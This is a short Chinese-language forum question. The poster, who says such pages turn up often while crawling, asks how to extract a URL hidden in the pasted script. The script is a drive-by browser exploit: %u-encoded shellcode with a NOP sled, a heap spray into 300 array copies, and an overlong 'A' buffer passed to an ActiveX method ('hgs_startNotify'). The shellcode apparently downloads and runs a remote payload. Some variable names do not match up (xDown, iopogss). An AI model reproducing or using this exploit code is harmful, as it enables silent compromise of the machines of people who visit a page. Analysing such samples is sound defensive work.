下面的这段代码中含有URL信息,如何提取这些信息呢。这种类型的网页在爬行时遇到了很多。
<SCRIPT language="javascript">
var yDown="%u9090"+"%u9090"+"%u9090%u6090%u17eb%u645e%u30a1%u0000%u0500%u0800%u0000%uf88b%u00b9"+"%u0004%uf300%uffa4%ue8e0%uffe4%uffff%ua164%u0030%u0000%u408b%u8b0c"+"%u1c70%u8bad%u0870%uec81%u0200%u0000%uec8b%ue8bb%u020f%u8b00%u8503"+"%u0fc0%ubb85%u0000%uff00%ue903%u0221%u0000%u895b%u205d%u6856%ufe98"+"%u0e8a%ub1e8%u0000%u8900%u0c45%u6856%u4e8e%uec0e%ua3e8%u0000%u8900"+"%u0445%u6856%u79c1%ub8e5%u95e8%u0000%u8900%u1c45%u6856%uc61b%u7946"+"%u87e8%u0000%u8900%u1045%u6856%ufcaa%u7c0d%u79e8%u0000%u8900%u0845"+"%u6856%u84e7%ub469%u6be8%u0000%u8900%u1445%ue0bb%u020f%u8900%u3303"+"%uc7f6%u2845%u5255%u4d4c%u45c7%u4f2c%u004e%u8d00%u285d%uff53%u0455"+"%u6850%u1a36%u702f%u3fe8%u0000%u8900%u2445%u7f6a%u5d8d%u5328%u55ff"+"%uc71c%u0544%u5c28%u652e%uc778%u0544%u652c%u0000%u5600%u8d56%u287d"+"%uff57%u2075%uff56%u2455%u5756%u55ff%ue80c%u0062%u0000%uc481%u0200"+"%u0000%u3361%uc2c0%u0004%u8b55%u51ec%u8b53%u087d%u5d8b%u560c%u738b"+"%u8b3c%u1e74%u0378%u56f3%u768b%u0320%u33f3%u49c9%uad41%uc303%u3356"+"%u0ff6%u10be%uf23a%u0874%ucec1%u030d%u40f2%uf1eb%ufe3b%u755e%u5ae5"+"%ueb8b%u5a8b%u0324%u66dd%u0c8b%u8b4b%u1c5a%udd03%u048b%u038b%u5ec5"+"%u595b%uc25d%u0008%u92e9%u0000%u5e00%u80bf%u020c%ub900%u0100%u0000"+"%ua4f3%uec81%u0100%u0000%ufc8b%uc783%uc710%u6e07%u6474%uc76c%u0447"+"%u006c%u0000%uff57%u0455%u4589%uc724%u5207%u6c74%uc741%u0447%u6c6c"+"%u636f%u47c7%u6108%u6574%uc748%u0c47%u6165%u0070%u5057%u55ff%u8b08"+"%ub8f0%u0fe4%u0002%u3089%u07c7%u736d%u6376%u47c7%u7204%u0074%u5700"+"%u55ff%u8b04%u3c48%u8c8b%u8008%u0000%u3900%u0834%u0474%uf9e2%u12eb"+"%u348d%u5508%u406a%u046a%uff56%u1055%u06c7%u0c80%u0002%uC481%u0100"+"%u0000%ue8c3%uff69%uffff%u048b%u5324%u5251%u5756%uecb9%u020f%u8b00"+"%u8519%u75db%u3350%u33c9%u83db%u06e8%ub70f%u8118%ufffb%u0015%u7500"+"%u833e%u06e8%ub70f%u8118%ufffb%u0035%u7500%u8330%u02e8%ub70f%u8318"+"%u6afb%u2575%uc083%u8b04%ub830%u0fe0%u0002%u0068%u0000%u6801%u1000"+"%u0000%u006a%u10ff%u0689%u4489%u1824%uecb9%u020f%uff00%u5f01%u5a5e"+"%u5b59%ue4b8%u020f%uff00%ue820%ufdda%uffff";
var Pcode=unescape(yDown+xDown);
var Bbsjhgk=unescape("%u9090%u9090");
var asfdfswe=20;
var opogss=asfdfswe+Pcode.length;
while(Bbsjhgk.length<iopogss)Bbsjhgk+=Bbsjhgk;
sggyfcxb=Bbsjhgk.substring(0,iopogss);
piopkjgydsgnjs=Bbsjhgk.substring(0,Bbsjhgk.length-iopogss);
while(piopkjgydsgnjs.length+iopogss<0x40000)piopkjgydsgnjs=piopkjgydsgnjs+piopkjgydsgnjs+sggyfcxb;
WoptiMem=new Array();var bish='';
for(x=0;x<300;x++)WoptiMem[x]=piopkjgydsgnjs+Pcode;
var buf='';
while(buf.length<1319)buf+="A";buf=buf+"\x0a\x0a\x0a\x0a"+buf;PlayBoy2008.hgs_startNotify(buf);
</script>